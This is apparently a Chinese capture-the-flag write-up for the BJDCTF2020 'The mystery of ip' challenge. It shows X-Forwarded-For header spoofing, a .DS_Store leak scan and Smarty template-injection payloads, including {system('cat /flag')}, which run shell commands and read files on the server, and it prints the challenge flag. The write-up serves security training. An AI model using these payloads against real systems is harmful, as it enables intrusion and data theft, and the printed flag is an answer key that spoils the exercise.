【创作赢红包】[BJDCTF2020]The mystery of ip

简介: 【创作赢红包】[BJDCTF2020]The mystery of ip

信息收集

1. <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media
2.         queries -->
3. <!-- WARNING: Respond.js doesn't work if you view the page via file://
4.         -->
5. <!--[if lt IE 9]>
6.             <script src="http://labfile.oss.aliyuncs.com/html5shiv/3.7.0/html5shiv.js">
7.             </script>
8.             <script src="http://labfile.oss.aliyuncs.com/respond.js/1.3.0/respond.min.js">
9.             </script>
10.         <![endif]-->

进入hint页面,查看源码

<!-- Do you know why i know your ip? -->

访问flag则返回我的ip,这里猜测需要伪造请求的IP

X-Forwarded-For: 127.0.0.1

源码泄露目录扫描

发现/.DS_Store

python ds_store_exp.py http://node4.buuoj.cn:29143/.DS_Store

没有下载到有用的信息,至此信息收集完毕

模块注入

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

判断类型

这里环境是php,因此我们考虑是smarty或者是twig

  • ${7*7}

  • a{*comment*}b

  • ${"z".join("ab")}

至此确定是smary模块注入

SSTI

{system('ls /')}

{system('cat /flag')}

flag{7bd8910c-fd22-41d9-b5e7-9d7fd8fe5c67}

目录
相关文章
|
6月前
BUUCTF [BJDCTF2020]认真你就输了 1
BUUCTF [BJDCTF2020]认真你就输了 1
133 0
|
6月前
|
Python
BUUCTF [BJDCTF2020]一叶障目 1
BUUCTF [BJDCTF2020]一叶障目 1
158 0
|
6月前
BUUCTF [BJDCTF2020]藏藏藏 1
BUUCTF [BJDCTF2020]藏藏藏 1
74 0
|
6月前
|
Python
【分享代码】国庆氛围不能少,快来给头像加个国旗
【分享代码】国庆氛围不能少,快来给头像加个国旗
84 0
|
6月前
|
前端开发 数据安全/隐私保护
BUUCTF [BJDCTF2020]纳尼 1
BUUCTF [BJDCTF2020]纳尼 1
80 0
|
6月前
BUUCTF [BJDCTF2020]你猜我是个啥 1
BUUCTF [BJDCTF2020]你猜我是个啥 1
86 0
|
Python
十行代码帮你迅速回应大家的祝福,你可以安心抢红包了~
十行代码帮你迅速回应大家的祝福,你可以安心抢红包了~
84 0
|
监控 Java 应用服务中间件
【创作赢红包】进线程有关的面试题
【创作赢红包】进线程有关的面试题
65 0
|
数据处理 iOS开发
快来组战队,赢iPhone啦!
分享阿里云星火计划捉虫活动,取云豆,获战衣,赢iPhone!活动时间:2022年12月05日~2023年01月31日。
182 1
|
机器学习/深度学习 人工智能 JavaScript
喜迎新春,设计一个红包雨小游戏,看看你能赢多少?
喜迎新春,设计一个红包雨小游戏,看看你能赢多少?
263 0
喜迎新春,设计一个红包雨小游戏,看看你能赢多少?